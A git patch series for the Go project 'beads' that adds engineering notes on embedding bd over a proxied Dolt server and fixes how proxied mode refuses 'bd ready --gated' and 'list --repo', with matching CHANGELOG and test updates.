(cannot occur — `omitempty` drops it) | 30s | +| negative, e.g. `-1` | never | +| positive | as written | + +**What is changing in 1.3.1.** Writing the *effective* `idle_timeout` +explicitly, rather than letting `omitempty` drop it and relying on the +provider-side default, is approved for 1.3.1. It had not landed at +`e1e1158dd`, and there is no tracking issue for it at the time of writing. + +Before (observed at this commit): a workspace on the default timeout has **no** +`idle_timeout` key in its sidecar, and "default" is therefore indistinguishable +from "unset" to any reader. That also makes the effective value invisible in +`bd dolt status --json`, which only emits `idle_timeout` when the sidecar value +is `> 0` (§10) — so both "default 30s" and "never" render as an absent key. + +After: the key is expected to be present with the effective value. An embedder +should read an absent key as "ask this bd, do not assume", not as "no timeout". + +## 6. `bd migrate schema` on a proxied workspace — changing in 1.3.1 + +**Observed at this commit: the verb is permitted, and on a served database with +no remote it migrates. With a remote configured it is still permitted — it +reaches the store open — but the §7 gate refuses the migration there, because +the verb's own consent is not read on that arm.** + +`proxyMaintenanceRefusals` in `cmd/bd/proxy_capability.go` refuses the bare +`migrate` command with code `proxy.migrate.unsupported`, and its `init()` +expands child rows for `migrate hooks` and `migrate issues`. The same table +carries `migrate sync`, `migrate-personal` and `migrate-issues` as rows of their +own — the `migrate` neighbourhood is enumerated, not covered by a prefix rule. +`migrate schema` is in none of it. + +Two gates then stand between an unmatched path and the store open, and only the +second is a fall-through: `validateProxyMaintenanceBeforeProvider` consults +`LookupHistoryCapability` first and refuses anything classed `HistoryDirectOnly` +with `proxy.history.unsupported`; *after* that it returns `nil` for any +unmatched multi-word command path. `migrate schema` matches neither gate, so the +verb reaches the store open. A reader predicting some other multi-word verb from +this section should apply both gates in that order — the multi-word `return nil` +on its own over-predicts "permitted". + +The mechanics matter, because they are not "a command that applies a migration": + +- `cmd/bd/main.go` sets `schema.SetSharedMigrateConsent(...)` in the root + pre-run for this one verb (`isSchemaMigrateVerb` matches `bd migrate schema` + and deliberately nothing else in the `migrate` tree). That consent satisfies + the shared-store gate in §7 on **one arm only**. Its single non-test read site + is `sharedNoRemoteGate`, reached from that gate's `if !hasRemote` branch, and + the comment there scopes it deliberately: the verb "unlocks ONLY here: with a + remote configured, #4259's cross-clone fork risk still demands the stronger + designated-migrator confirmation". When the served database *does* have a + remote — on the proxied path that is read from its own `dolt_remotes` alone, + because `dolt_sql_provider.go` calls the gate as + `CheckSharedStoreMigrateGate(ctx, c, "", nil, nil)` and so supplies no on-disk + fallback probe — the gate takes the other arm, which consults only `--force` + (`bd migrate schema --force` trips `isForcedMigrate`; `bd migrate --force` + trips it too, but only off a proxied workspace, since the bare verb is + refused before the store open per the refusal above) and the + `BD_ALLOW_REMOTE_MIGRATE` environment override. + Without one of those, a main-lane pending migration is refused at the store + open, carrying the shared-store reason wherever the smart gate would otherwise + have auto-migrated. The public twin of this knob, + `beads.AllowSharedSchemaMigration`, documents the same scope. +- The **provider open then performs the migration**, before `RunE` runs. +- `RunE`'s proxied arm (`reportProxiedSchemaMigrate` in `cmd/bd/migrate.go`) + therefore only reports, and it reports a **different JSON shape** from the + direct path: + +```json +{ + "status": "current", + "latest_version": 66, + "mode": "proxied-server", + "note": "schema reconciled during provider open" +} +``` + +(`latest_version` is `schema.LatestVersion()`, shown here illustratively — read +the value, do not hard-code it.) The direct path emits `{"status", "applied", +"latest_version"}`; the proxied arm drops `applied` and adds `mode` and `note`, +so only `status` and `latest_version` are common to both. No applied count is +reported because by the time `RunE` runs the work belongs to an open that has +already returned — there is no number for it to have. An embedder decoding this +payload into one struct across both topologies should treat `applied` as +absent-not-zero on the proxied route, and should not infer "nothing was applied" +from its absence. + +**What an embedder can observe.** The DDL lands under co-resident clients that +already hold connections and prepared state, with no coordination of any kind — +the proxy is a byte pump (§3) and has no notion of who is connected. An embedder +whose process outlives a `bd migrate schema` should treat the schema as changed +beneath it and re-establish its connections; in practice, restart. + +**What is changing in 1.3.1.** Refusing `bd migrate schema` on a proxied +workspace is approved for 1.3.1: a flat typed refusal by default, with `--force` +emitting a **generic** warning to close co-resident library clients first. The +approved scope is a generic warning with no enumeration of connected clients, for +the reason above — the proxy does not track them, so there is nothing truthful to +list. This had not landed at `e1e1158dd`, and there is no tracking issue for it +at the time of writing. + +So an embedder should expect the verb to stop working on proxied workspaces +rather than build a workflow on it, and should not read the absence of a refusal +today as the absence of one tomorrow. + +## 7. The shared-store migration gate — main lane only, new stop in 1.3.1 + +`schema.CheckSharedStoreMigrateGate` +(`internal/storage/schema/remote_migrate_gate.go`) is the gate for a database +served to co-resident clients, which includes every proxied workspace. On top of +the remote-backed flow it adds two refusals: with no remote it refuses a silent +in-place migration unless the operator consented (the verb in §6, `--force`, or +the environment override), and with a remote it suppresses the two auto-execute +arms, because on a shared server neither can observe the other clients. + +Its decision facts are read from the **main lane only**. The shared arm delegates +to `checkRemoteMigrateGate`, which calls `schema.CurrentVersion` and +`schema.PendingVersions` — both of which resolve to `mainSource`. The +`dolt_ignore`d lane has its own cursor and its own accessors +(`CurrentIgnoredVersion`, `PendingIgnoredVersions`), and the gate consults +neither. + +`internal/storage/schema/lock.go` shows where that lands: the gate runs under +the database-scoped migration lock immediately before `MigrateUp`, and +`MigrateUp` reconciles **both** lanes. + +**What an embedder can observe.** A main-lane pending migration is what a +refusal is about. An open whose only pending work is on the ignored lane sees +the gate return early (`len(pending) == 0` — nothing to migrate) and then watches +`MigrateUp` apply that ignored-lane work anyway. So "the gate did not refuse" +does not mean "no schema changed under me". Two related carve-outs also let work +through: a fresh database (`current == 0`) always migrates, on the reasoning that +creating a database is consent for its schema, and a fresh-bootstrap heal +authority from the same logical open bypasses the gate entirely. + +**What changed in 1.3.1: a third refusal shape arrives from underneath.** #6575 +(landed at this commit) added `fallbackReasonDataBehind` to +`checkRemoteMigrateGate`. It is not a fourth item in the "two refusals" list +above — that count is the shared form's delta over the remote-backed flow, and it +is unchanged. This stop lives in the flow *both* forms delegate to, so the +shared gate inherits it rather than adding it. + +**Whether it can fire is a property of the call site, not of the gate.** The +stop's only input is an ancestry fact the *caller* injects: `localDataBehind` +(`internal/storage/schema/smart_remote_migrate_gate.go`) reads +`FastForwardAdopter.AheadBehind`, and reports "not behind" whenever the adopter +is nil or wires neither callback. Its own comment names "the shared unit-of-work +provider's injection site" as exactly that case, where "routing stays exactly as +it was before this check existed". At this commit there are two production +callers of `CheckSharedStoreMigrateGate`: + +- `internal/storage/dolt`'s store open — the **server-mode** open — wires + `AheadBehind` (added expressly for #6575), so the stop is live there. +- `internal/storage/uow/dolt_sql_provider.go` passes `nil`, and per + `cmd/bd/uow_factory.go` that funnel is "the proxied CLI path AND `bd serve`'s + own provider". A **proxied** workspace therefore reaches the shared gate with + no ancestry fact at all. + +So do not expect this refusal on a proxied workspace. A proxied, remote-backed +clone that is data-behind at schema parity reads as level, the smart gate routes +to `smartAutoMigrate`, and the shared arm then returns the ordinary +`fallbackReasonSharedStore` refusal — the one whose framing ("the gate would +have resolved and was overruled") the data-behind comment says is *not* true of +this state. Embedded mode reaches the stop by a different route: it calls +`CheckRemoteMigrateGateWithAdopt` with a fully-wired adopter +(`internal/storage/embeddeddolt/store.go`), which is why the `OpenForRemoteSync` +carve-out below has anything to carve. That the proxied injection site reads no +ancestry is base behaviour at this commit — #6575's protection is absent on the +path this section is about — and it is not this document's to fix. + +Where the stop *is* live, it fires when schema parity with the cached remote ref +holds but this clone's local HEAD is **missing commits the cached ref has** +(`behind >= 1`, whatever `ahead` is — a strict ancestor only when this clone has +no commits of its own). The clone is behind in data commits it has not pulled, +so it is not the first-mover the smart gate may auto-resolve. The wide predicate +is deliberate: because bd auto-commits every write, `localDataBehind` reasons +that "has local commits AND is behind" is the ordinary multi-machine state, so +stopping only at `ahead == 0` "would leave the larger half of the affected +cohort unprotected". Two details make it matter more than its size suggests to +an embedder classifying gate errors: + +- **It is reported on shared stores too.** The `smartDataBehind` / + `smartDataDiverged` arms set this reason ahead of `fallbackReasonSharedStore`, + which would ordinarily outrank it. The comment gives the reason: the + shared-store reason says the gate *would* have resolved and was overruled, + which is not true here — the gate refuses this state on its own merits. +- **Its options collapse.** `Options()` returns a single `pull-first` option + whose command is `DataBehindRemedyCommand` (`bd dolt pull`), instead of the + usual migrate-or-adopt pair; on a shared store a second + `migrate-shared-after-pulling` option follows it. The `DataDiverged` variant + is the same reason and the same command; it is the `ahead >= 1` shape — the + clone also has commits of its own — which is *why* its pull **merges** (and + can report conflicts) rather than fast-forwarding. + +**What an embedder can observe.** This is the one gate refusal with a +one-command operator remedy, and it is the one the gate exports API for: +`(*schema.RemoteMigrateGateError).IsDataBehind()` and the +`schema.DataBehindRemedyCommand` constant. Code that classifies gate errors +should test `IsDataBehind()` before treating a `RemoteMigrateGateError` as +fatal — the doc's own "fail loudly on a shape you do not recognise" rule cuts +the other way here, because this shape *is* recoverable and the exported +predicate exists precisely to say so. + +The remedy is itself a store-opening command, so bd carves a path for it: +`isRemoteSyncCommand` in `cmd/bd/main.go` matches `bd dolt pull` alone and sets +`RemoteSyncOpen`, which routes the embedded open to +`embeddeddolt.OpenForRemoteSync` (`cmd/bd/store_factory.go`) — a lenient open +for this gate reason and no other. That carve-out is CLI-only, and an embedder +cannot replicate it in-process: both `embeddeddolt.OpenForRemoteSync` and the +`dolt.Config.RemoteSyncOpen` field live under `internal/`, unimportable from +outside `github.com/steveyegge/beads`, and none of the public open paths +(`OpenBestAvailable`, `Open`, `OpenFromConfig`, `OpenGated`) takes an option +that could request the lenient open. The embedder's remedy is therefore +out-of-process: run `bd dolt pull` (and, per the first observation below, +outside proxied mode), then re-open. A normal in-process open will hit the same +refusal that prescribed the command. + +Two observations worth carrying, neither of them this document's to fix: + +- On a **proxied** workspace the pull is still the precondition, the workspace + still refuses the verb, and the gate never names it. + `proxyMaintenanceRefusals` in `cmd/bd/proxy_capability.go` holds + `"dolt pull"` with code `proxy.dolt_pull.unsupported`, so the one command a + data-behind clone needs is declined by that same workspace. And because the + proxied call site wires no ancestry adopter (above), the gate does not + prescribe it there either: the operator gets the shared-store refusal, with no + mention of the data they are missing. That is the worse of the two shapes — a + named remedy you must route around is at least diagnosable. An embedder that + surfaces gate remedies to users should expect to detect the data-behind state + itself on this path, and to pull outside proxied mode to clear it. +- The shared store's second option names `SharedConsentCommand` + (`bd migrate schema`), whose own declaration scopes it to "a shared database + that has **no** remote". Do not read that option as a confirmed unlock for the + remote-backed shared case; treat the pull as the part of the remedy this + document vouches for. + +## 8. `SetEventsJournalEnabled` on `OpenBestAvailable`'s `Storage` + +`OpenBestAvailable` is the public open path in package `beads` at the module +root. It exists in two build-tagged copies: `beads_cgo.go` (`//go:build cgo`), +which handles embedded Dolt, dolt-server mode and registered extension +backends; and `beads_nocgo.go` (`//go:build !cgo`), which handles the latter two +and returns an error for embedded Dolt. + +**First, a routing fact worth knowing before the interface question.** Neither +copy has a proxied-server arm. Both dispatch on `cfg.IsDoltServerMode()`, and +`configfile.IsDoltServerMode` and `IsDoltProxiedServerMode` are mutually +exclusive — proxied workspaces are explicitly exempt from the host-based +server-mode inference. So on a proxied-server workspace `OpenBestAvailable` falls +through to `embeddeddolt.Open`, and it does not connect through the proxy. + +The consequence is not contention over the directory the proxy is serving. It is +that the two paths look at **different directories entirely**. `embeddeddolt` +joins its data directory as `/embeddeddolt` and does so in four +non-test places — `newStore`, `openReadOnly`, the open cache's `cacheKey`, and +`HasRepository` — with no way for a caller to redirect it. The proxy's +`dolt sql-server`, meanwhile, serves the proxied root, which defaults to +`/dolt` +(`internal/doltserver/physical_root.go`; `Config.DatabasePath`'s fallback joins +the literal `dolt`, with a comment saying always to). + +So an embedder that calls `OpenBestAvailable` on a proxied workspace does not +fight the running server for its files — it silently opens **a separate database** +beside it. On the read-write path — the one `OpenBestAvailable` takes — +`newStore` `MkdirAll`s `.beads/embeddeddolt`, and `initSchema` issues +`CREATE DATABASE IF NOT EXISTS` and migrates, so the open creates and writes a +second database rather than failing. What it contains depends on the workspace's +history: empty on one initialised straight into proxied mode, and whatever +`.beads/embeddeddolt` still holds on one that was ever embedded, since none of +the mode-migration verbs removes that directory. The second case is the nastier +one — stale issues that look real. + +The read-only join site behaves the other way, which is worth knowing before +generalising the paragraph above: `openReadOnly` does **not** create. It +`os.Stat`s the same directory and returns +`embeddeddolt: no embedded database at …` when it is absent, so a caller +arriving through the read-only open on a workspace that was never embedded gets +an error instead of an empty database. + +Nothing in the open path refuses on that ground and no error comes back. The +store is genuine; it is just not the one the workspace's issues are in. An +embedder that wants the proxied endpoint should connect to the data port (§3) +rather than expect this function to find it. + +`SetEventsJournalEnabled(enabled bool)` is **not a method on the `Storage` +interface.** `beads.Storage` aliases `internal/beads.Storage`, which aliases +`internal/storage.Storage`; the method is declared on a separate optional +interface, `storage.EventsJournalConfigurer` +(`internal/storage/storage.go`). Its contract is per-instance: implementations +must not use process-global state, because one process can hold several stores +at once. + +The two concrete types `OpenBestAvailable` can return from its Dolt arms do +implement it: `dolt.DoltStore` and `embeddeddolt.EmbeddedDoltStore` each declare +the method. (bd's own proxied path forwards it through the unit-of-work provider, +but that provider is not something `OpenBestAvailable` returns — see the routing +fact above.) An embedder reaches it by type assertion: + +```go +store, err := beads.OpenBestAvailable(ctx, beadsDir) +// … +if c, ok := store.(interface{ SetEventsJournalEnabled(bool) }); ok { + c.SetEventsJournalEnabled(true) +} +``` + +**Two things an embedder should know.** `storage.EventsJournalConfigurer` is +internal and is not re-exported from the public `beads` package, so the +assertion has to be written against a locally declared single-method interface +as above; there is no exported name to assert against. And a store reached +through a registered extension backend +(`backends.Lookup`, dispatched ahead of every Dolt path in both copies of +`OpenBestAvailable`) need not implement the method at all — which is what the +`ok` is for. + +This is among the more likely surfaces here to move, because it is reached by +assertion rather than by a declared method: no compile error marks its +disappearance. No test at the module root asserts that +`OpenBestAvailable`'s result satisfies it, so nothing in CI fails if it stops +doing so. + +## 9. `ErrCommitIndeterminate` and `ErrCircuitOpen` + +Both are exported from the public `beads` package (`beads.go`) as re-exports of +the values they wrap: + +```go +var ( + ErrCircuitOpen = dolt.ErrCircuitOpen + ErrCommitIndeterminate = storage.ErrCommitIndeterminate +) +``` + +Because they are the same error values the internal packages return — not +copies with equal text — `errors.Is(err, beads.ErrCircuitOpen)` and +`errors.Is(err, beads.ErrCommitIndeterminate)` match errors raised internally +and wrapped on the way out. + +**What an embedder can observe.** `ErrCircuitOpen` identifies a read or write +rejected because the Dolt circuit breaker is open. `ErrCommitIndeterminate` +identifies a commit whose outcome is unknown — the distinction that lets a +caller decline to retry a write that may already have landed. Match with +`errors.Is`, not on message text — matching on these values is currently the only +discriminator a caller has for those two conditions, so there is nothing else to +write against. That is a statement about today's surface, not about its +longevity; the note at the top of this document still applies. + +## 10. `bd dolt status --json` on a proxied workspace — reshaped in 1.3.1 + +This payload **changed shape in 1.3.1** (#6580, landed at this commit; see the +1.3.1 CHANGELOG entry). Before, on a proxied workspace, `bd dolt status` read +the classic `dolt-server.pid` that proxied mode never writes, and reported the +always-false `{"running": false, "pid": 0, "port": 0}` against a healthy +backend. `pid` and `port` are gone, replaced by the `proxy_*` and `backend_*` +pairs. Direct-server, shared, embedded and externally-managed workspaces keep +the output they had. + +The proxied payload is `proxiedDoltStatus` in +`cmd/bd/dolt_proxied_lifecycle.go`: + +The full key set is `mode`, `root`, `running`, `proxy_pid`, `proxy_port`, +`backend_managed`, `backend_running`, `backend_pid`, `backend_port`, +`backend_endpoint`, `idle_timeout`. Five are always present: `mode`, `root`, +`running`, `backend_managed` and `backend_running`. None of the three `bool`s +carries `omitempty` — for a bool, `false` is the answer rather than the absence +of one, and `backend_running: false` in the external example below is that rule +in action. The other six (`proxy_pid`, `proxy_port`, `backend_pid`, +`backend_port`, `backend_endpoint`, `idle_timeout`) do carry `omitempty`, so +absent means zero — including `proxy_pid`/`proxy_port` when the proxy is down. + +A managed-local workspace with both processes up, whose sidecar carries an +explicit positive timeout: + +```json +{ + "mode": "proxied-server", + "root": "/abs/path/.beads/dolt", + "running": true, + "proxy_pid": 251973, + "proxy_port": 33825, + "backend_managed": true, + "backend_running": true, + "backend_pid": 251980, + "backend_port": 41163, + "idle_timeout": "45s" +} +``` + +The same workspace on an external topology, where bd supervises no dolt: + +```json +{ + "mode": "proxied-server", + "root": "/abs/path/.beads/dolt", + "running": true, + "proxy_pid": 251973, + "proxy_port": 33825, + "backend_managed": false, + "backend_running": false, + "backend_endpoint": "db.internal:3306" +} +``` + +Reading the fields: + +- **`running` describes the proxy**, not the dolt server: the endpoint every bd + command connects through. It is usually true where the old payload was always + false. +- **`backend_managed` is `false` on an external proxied topology**, where the + dolt server is not bd's process to report on and `backend_endpoint` names it + instead (`host:port`, or `unix:` for a socket). On that topology + `backend_running` says nothing about the database — distinguishing "the + backend is down" from "bd never had a backend to report" is exactly what the + flag is for. +- **`idle_timeout` here is a duration *string*** (`"45s"`), unlike the sidecar's + nanosecond integer in §5 — and it is emitted only when the sidecar's value is + `> 0`. Both "default 30s" and "never" therefore render as an absent key today, + which is why neither example above could show the default. That is the + observation §5's 1.3.1 change is about. + +The command has no lifecycle side effects, which is why polling it beats parsing +`proxy.pid`: `proxy.ReadStatus` reads the two records and verifies the recorded +processes without starting, stopping or adopting anything. A record that fails +any check reports nothing rather than a PID a caller might act on. + +## 11. A clean backend exit — changing in 1.3.1 + +**Observed at this commit: the proxy does not notice.** `DoltServer.Start` +(`internal/storage/dbproxy/server/doltserver.go`) feeds `cmd.Wait()` into an +`errgroup.WithContext`, and an errgroup cancels its context only on a **non-nil** +return. A `dolt sql-server` that stops cleanly returns 0 — its ordinary +shutdown path, not a crash — so: + +- the group context is never cancelled; +- `DoltServer.Running` returns `egCtx.Err() == nil`, which stays true; +- the proxy's 100ms backend health tick (`proxy/server.go`) never fires. + +The proxy therefore keeps `proxy.pid`, `proxy.lock`, its control port and its +listener, and goes on accepting clients — closing each one after the backend +dial in `handleConn` fails. Adoption does not catch it either: `readAndDial` +verifies the proxy's identity and TCP-probes the *proxy*, never the backend, so +an adopting client succeeds and then fails its first query. The workspace stays +wedged until `bd dolt stop`. + +This is #6651, which reports it reproduced 3/3 against v1.3.0. The trigger is a +signal delivered to the dolt child *alone* — a per-PID supervisor stop, or +`kill `. A `kill -9` of the child and a cgroup-wide SIGTERM are not +affected; the latter signals the proxy too. + +**What an embedder can observe.** Reading the code, this state is visible in +`bd dolt status --json` (§10) as `running: true` with `backend_running: false` — +`readBackendRecord` verifies the recorded backend PID's birth token, which a +departed process fails — while a liveness check that only adopts the proxy +reports healthy. That asymmetry is what makes §10 the better probe of the two. +*Not verified by running:* this document was written without starting a proxy, +so the `status` output in that specific wedged state is inferred from the source +rather than observed. + +**What is changing in 1.3.1.** Two fixes are approved under #6651: treating +**any** `cmd.Wait()` return as a backend exit, rather than relying on errgroup's +nil-means-keep-going semantics, and making adoption **probe the backend** rather +than only the proxy. Neither had landed at `e1e1158dd`. After they land, a clean +backend exit is expected to tear the proxy down like any other backend loss, and +adoption is expected to decline a proxy whose backend is gone — so an embedder +should not build recovery logic that depends on the zombie persisting, nor on +adoption succeeding while the backend is absent. + +--- + +## Which of these are most likely to move + +Not all eleven carry the same risk, and it is worth saying which is which. + +**Most likely to move, and already in motion:** §6 (`bd migrate schema` becomes +a refusal), §11 (clean-backend-exit handling and backend-probing adoption), §5 +(the sidecar starts writing its effective `idle_timeout`). All three are decided +for 1.3.1 and described above as before/after. + +**Likely to move:** §2, the `db-proxy-child` argv. It is a hidden internal +command whose flags exist to serve the parent that spawns it, and flags have +been added to it as topologies were added. §1's `proxy.pid` and the control-file +set are next: they are bd's private lifecycle state, and the lifecycle work that +added `root_id`, `control_port`, the spawn marker and the stop epoch is not +finished. §8 is likely for a different reason — an assertion-reached optional +interface can disappear without a compile error anywhere. + +**Less likely to move, for a reason:** §9's two error sentinels, because +`errors.Is` on them is the only way a caller can tell those two conditions +apart. §10's payload, because it was *just* reshaped deliberately. §3's loopback +byte-pump behaviour, because the proxy's whole design is to not understand the +protocol — though the credentials half of §3 is a property of a generated config +file, which is a much softer thing than the byte-pump half. + +**A caveat on that ranking.** It is a reading of the direction of current work, +not a schedule and not a promise. A surface in the third group can still change +in a patch release; it is where to spend your safety margin, not where to stop +checking. + +## Not verified by running + +This document was written by reading the source at `e1e1158dd`. No proxy was +started and no test suite was run while writing it. The claims that would need a +live proxy to confirm end to end, and are therefore inferred from the code: + +- The exact `bd dolt status --json` output in the §11 wedged state + (`running: true` with `backend_running: false`). +- The observed idle-exit latency in §4 being longer than the configured timeout + by up to roughly two watcher ticks. +- That a third-party MySQL client authenticating as `root` with no password + succeeds against the data port on a managed-local workspace (§3). The + credentials, the loopback bind and the absence of protocol handling in the + proxy are all read directly from the source; the end-to-end connection is not. +- That `OpenBestAvailable`'s embedded fall-through (§8) completes and hands back + a usable but separate store, rather than failing somewhere in the create and + migrate steps. The *routing* (it takes the embedded arm, because proxied mode + is exempt from `IsDoltServerMode`) and the *directory* (`embeddeddolt` joins + `/embeddeddolt`, the proxy serves `/dolt`) are read off the + source and are not in doubt; the open itself was not run against a live + proxied workspace. + +Everything else — field names, JSON keys and their types, argv and flag +spellings, exported Go symbols, default values, and which code path decides +what — was read off the files listed in the freshness source above. diff --git a/engdocs/EXTENDING.md b/engdocs/EXTENDING.md index 7f2222f13..4559d348f 100644 --- a/engdocs/EXTENDING.md +++ b/engdocs/EXTENDING.md @@ -4,6 +4,15 @@ This file documents contracts that callers of the storage API must honor. It is not user-facing; it is for code that embeds bd or talks to the storage layer directly. +An embedder running against a **proxied-server** workspace also ends up +reading surfaces that are not contracts at all — the proxy's PID file, its +child argv, `bd dolt status --json`, optional interfaces reached by type +assertion. Those are written down, as observed behaviour with the commit +they were read at, in +[EMBEDDING_OVER_PROXIED_SERVER.md](EMBEDDING_OVER_PROXIED_SERVER.md). +Nothing in that document is a compatibility promise; read it alongside the +contracts here, not as one of them. + ## Lite SELECT shape — `IssueFilter.Lite` `store.SearchIssues(ctx, query, filter)` accepts an `IssueFilter` value. From c507f3b4c9ceb0a7f9ef0577796f8267aec9b89d Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 24 Sep 2026 00:42:51 -0700 Subject: [PATCH 071/624] fix(proxy): unsplit `bd ready --gated`, and stop policing a flag `bd list` lacks (#6697) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(proxy): unsplit `bd ready --gated`, and stop policing a flag `bd list` lacks Post-merge review of #6293 (landed as 6f8d15341) found two majors. Both are incomplete-fix defects in that PR's own work, not regressions: each is a claim the PR made that its code does not support. 1. `bd ready --gated` still inherited the max-rows refusal that `bd mol ready --gated` was freed from. The two spellings are documented as the same gate-resume scan, and on the proxied route they literally are one: `runReadyProxiedGated` discards its `readyInput` and calls the same `findGateReadyMolecules` as `runMolReadyGatedProxiedServer`. Neither threads a row cap. But the new front door keys on `path == "ready"`, which fires for every `bd ready` invocation, so with `BEADS_MAX_ROWS` exported only the `mol` spelling worked. #6293 moved the refusal off the shared cobra leaf name and onto the command; the arm is the level it actually belongs at. Both refusal sites are exempted, because exempting one only moves the split: `ready.go`'s in-RunE backstop calls `AssertProxyCapability` with an empty command, so it always resolves the mode-wide refusal and cannot honor a command-specific allow. `readyGatedArm` is the single predicate they share. `--claim` stays refused, including `--claim --gated`. That pair is a usage error (`gatherReadyInput`), not a gated run, so the mutating arm keeps its refusal on every path into it and this exemption cannot reopen it. 2. `list`'s `ProxyCapRepo` row was flipped from `notApplicable()` to `repoRefusal`, promising a typed refusal for `bd list --repo` — but `--repo` is registered only on `createCmd` (create.go:940), so cobra rejects `bd list --repo` as an unknown flag before any of this runs. The row, the comment above `repoRefusal`, the CHANGELOG contract and the test that "proved" it all described a command line that cannot exist. The policy table is the audit source of truth this PR argues for; a row refusing a flag the command does not have is worse than the N/A row it replaced. Restored to `notApplicable()` and the CHANGELOG retargeted at `bd create --repo`, which exists and is gated. `runListProxiedServer`'s defensive branch goes back to the mode-wide assert: keyed on the `list` row it would now resolve to "allowed" and let a repo override through, which is the opposite of what the branch is for. Tests: both fixes are pinned by tests that fail without them, checked by reverting each guard in place. - `bd ready --gated` under `BEADS_MAX_ROWS=5` joins the front-door allow matrix against the real command tree, and the e2e allow matrix beside its `mol` twin. `--claim` and `--claim --gated` are pinned as still-refused, so widening the exemption to a bare `--gated` check does not pass. - The RunE backstop gets its own unit pin rather than being left to the env-gated proxied e2e lane; it asserts two-sidedly, since a guard that swallowed the error would pass a "no refusal" check alone. - `TestProxyCapabilityRowsNameFlagsTheCommandRegisters` is the drift guard the review asked for: the existing one pins paths, which is why it could not see a row naming a real command and a flag that does not exist. It runs both directions — a refused/honored row must name a flag the command registers, an N/A row must name one it does not. - The two `list --repo` tests #6293 added both asserted the false premise, not just the one the review named; both are retargeted at the reachable `bd create --repo` site and at the corrected row. Deliberately out of scope: the four non-gating minors and the nit from the same review are left for separate follow-ups against main. Co-Authored-By: Claude Opus 5 * docs(changelog): record the `bd ready --gated` proxied row-cap fix The behavior change in the previous commit is user-visible -- a command line that exited 1 under a cap now runs -- so it gets its own [Unreleased] bullet rather than riding along under #6293's entry, which describes the refusal as it shipped. Notes the ignored-cap consequence explicitly: `--gated` alongside a cap is now dropped rather than refused, which is what the direct route has always done. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 13 +- .../history_remote_frontdoor_matrix_test.go | 5 + cmd/bd/list_proxied_server.go | 15 +- cmd/bd/proxy_capability.go | 24 +- cmd/bd/proxy_capability_test.go | 206 +++++++++++++++--- cmd/bd/ready.go | 54 ++++- cmd/bd/ready_max_rows_proxied_test.go | 72 ++++++ 7 files changed, 350 insertions(+), 39 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 687e28239..55232ef9d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -183,12 +183,23 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 text. Exit statuses are unchanged; this applies on every topology. - **Proxied `--repo` and row-cap refusals are typed again** - ([#6293](https://github.com/gastownhall/beads/pull/6293)). `bd list --repo` + ([#6293](https://github.com/gastownhall/beads/pull/6293)). `bd create --repo` under `--proxied-server` answers `--json` with the stable `{"code": "proxy.repo.unsupported", …, "mutates": false}` on stdout rather than prose on stderr, and `bd ready --claim --max-rows N` refuses with the same `proxy.max_rows.unsupported` shape as `bd ready --max-rows N`: `--claim` does not exempt a row cap the proxied route cannot enforce either way. + `bd create` is the only command that registers `--repo`, so it is the only + command this refusal applies to. +- **`bd ready --gated` runs under `--proxied-server` with a row cap set** + ([#6697](https://github.com/gastownhall/beads/pull/6697)). It was refused + whenever `--max-rows` or `BEADS_MAX_ROWS` resolved to a positive cap, while + `bd mol ready --gated` — the documented alias for the same gate-resume scan — + was not, so one command line behaved differently under its two spellings. The + gated arm lists molecules whose gate closed rather than ready rows and threads + no cap on either route, so it no longer consults one; a cap passed alongside + `--gated` is ignored, matching what the direct route has always done. Every + other `bd ready` arm still refuses an active cap, `--claim` included. - **The proxied `bd admin compact` refusal names the command it means** ([#6293](https://github.com/gastownhall/beads/pull/6293)). The message is now "only 'bd admin compact --dolt' is supported in proxied-server mode"; it read diff --git a/cmd/bd/history_remote_frontdoor_matrix_test.go b/cmd/bd/history_remote_frontdoor_matrix_test.go index 7037cc5ce..abe671b8d 100644 --- a/cmd/bd/history_remote_frontdoor_matrix_test.go +++ b/cmd/bd/history_remote_frontdoor_matrix_test.go @@ -154,6 +154,11 @@ func TestHistoryRemoteAllowPathFrontDoorMatrix(t *testing.T) { capRefused bool }{ {name: "mol ready --gated", args: []string{"mol", "ready", "--gated"}}, + // The documented alias for the row above, running the identical + // gate-resume scan. It belongs beside it: keying the cap refusal on + // `bd ready` rather than on the arm left this spelling refused while + // the `mol` one worked, which is the same split one level down. + {name: "ready --gated", args: []string{"ready", "--gated"}}, {name: "ready", args: []string{"ready"}, capRefused: true}, {name: "list", args: []string{"list"}}, {name: "dep tree", args: []string{"dep", "tree", sentinel.ID}}, diff --git a/cmd/bd/list_proxied_server.go b/cmd/bd/list_proxied_server.go index 007c72a7d..f6c775c92 100644 --- a/cmd/bd/list_proxied_server.go +++ b/cmd/bd/list_proxied_server.go @@ -22,11 +22,16 @@ import ( func runListProxiedServer(cmd *cobra.Command, ctx context.Context, out io.Writer, in listInput) error { if in.repoOverrideSet { - // The one live (non-shadowed) --repo refusal: the pre-provider gate - // covers `create` only, so this is the site the contract is read from. - // Typed, so the proxyCommandCapabilities["list"] row is the single - // source of the message and --json still gets code/mutates on stdout. - return HandleProxyCapabilityError(AssertProxyCommandCapability("list", ProxyModeProxied, ProxyCapRepo)) + // Unreachable from the CLI: listCmd registers no --repo flag, so + // gatherListInput's Changed("repo") is always false. Kept as a + // defensive guard for the day one is added, and deliberately NOT keyed + // on proxyCommandCapabilities["list"] -- that row reads + // notApplicable() precisely because the flag is absent, so a + // command-keyed assert would resolve it to "allowed" and let a repo + // override through. The mode-wide rule is the one that still means + // something here, and it renders the same typed code/mutates on stdout + // under --json. + return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapRepo)) } switch { case in.watchMode: diff --git a/cmd/bd/proxy_capability.go b/cmd/bd/proxy_capability.go index 1dfa13e07..d4f8a517d 100644 --- a/cmd/bd/proxy_capability.go +++ b/cmd/bd/proxy_capability.go @@ -171,9 +171,10 @@ var ( // nothing else has been wired to it. watchRefusal = refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) // --repo routes to another workspace, bypassing the proxied root entirely, - // which is why it is design rather than a gap. `bd list` honors a repo - // override and refuses it at runtime, so its row specializes this rule - // instead of claiming the flag is absent. + // which is why it is design rather 